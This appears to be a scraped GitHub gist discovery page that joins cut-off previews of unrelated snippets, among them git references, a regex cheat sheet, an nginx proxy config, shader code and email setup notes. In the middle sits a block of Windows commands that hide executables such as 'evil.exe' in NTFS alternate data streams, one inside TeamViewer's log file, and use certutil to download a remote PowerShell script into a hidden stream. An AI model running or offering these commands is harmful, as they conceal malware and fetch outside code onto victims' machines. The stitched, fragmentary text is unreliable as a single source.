- http://stackoverflow.com/questions/804115 (
rebase
vsmerge
). - https://www.atlassian.com/git/tutorials/merging-vs-rebasing (
rebase
vsmerge
) - https://www.atlassian.com/git/tutorials/undoing-changes/ (
reset
vscheckout
vsrevert
) - http://stackoverflow.com/questions/2221658 (HEAD^ vs HEAD~) (See
git rev-parse
) - http://stackoverflow.com/questions/292357 (
pull
vsfetch
) - http://stackoverflow.com/questions/39651 (
stash
vsbranch
) - http://stackoverflow.com/questions/8358035 (
reset
vscheckout
vsrevert
)
Discover gists
### WARNING: READ CAREFULLY BEFORE ATTEMPTING ### | |
# | |
# Officially, this is not recommended. YMMV | |
# https://www.raspberrypi.com/news/bookworm-the-new-version-of-raspberry-pi-os/ | |
# | |
# This mostly works if you are on 64bit. You are on your own if you are on 32bit or mixed 64/32bit | |
# | |
# Credit to anfractuosity and fgimenezm for figuring out additional details for kernels | |
# |
> Regular Expressions Cheat Sheet | |
> A regular expression specifies a set of strings that matches it. This cheat sheet is based off Python 3's Regular Expressions (http://docs.python.org/3/library/re.html) but is designed for searches within Sublime Text. | |
> Special Characters | |
\ Escapes special characters or signals a special sequence. | |
. Matches any single character except a newline. | |
^ Matches the start of the string. | |
$ Matches the end of the string. | |
* Greedily matches 0 or more repetitions of the preceding RE. | |
*? Matches 0 or more repetitions of the preceding RE. |
server { | |
set $monitorId <YOUR_ID>; | |
server_name status.<YOUR_DOMAIN>; | |
listen 80; | |
location / { | |
proxy_set_header Host "stats.uptimerobot.com"; | |
proxy_set_header Accept-Encoding ""; | |
proxy_pass_request_headers on; |
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
addEventListener('fetch', event => { | |
event.respondWith(handleRequest(event.request)) | |
}) | |
async function handleRequest(request) { | |
// Verify request method | |
if (request.method !== 'POST') { | |
return new Response('Method Not Allowed', { status: 405 }) | |
} |
package audio | |
import "core:fmt" | |
// https://miniaud.io/docs/ | |
import ma "vendor:miniaudio" | |
// 0 - Use native channel count of the device | |
AUDIO_CHANNELS :: 0 | |
AUDIO_SAMPLE_RATE :: 0 |
I've recently tested on how to move the custom domain catch all email from G Suite to the new iCloud+ Catch All feature and wanted to share my experience.
The end result is having Custom Domain email and Catch All routing, that can be fully used via Gmail, including receiving and sending emails.
- Setup your Custom Domain (or subdomain) with iCloud+
// credits to: https://github.com/notlion/streetview-stereographic | |
precision mediump float; | |
uniform sampler2D texture; | |
uniform float scale, aspect, time; | |
uniform mat3 transform; | |
varying vec2 v_texcoord; |
Reset
You can reset the commit for a local branches using git reset
To change the commit of a local branch:
git fetch
git reset origin/master --hard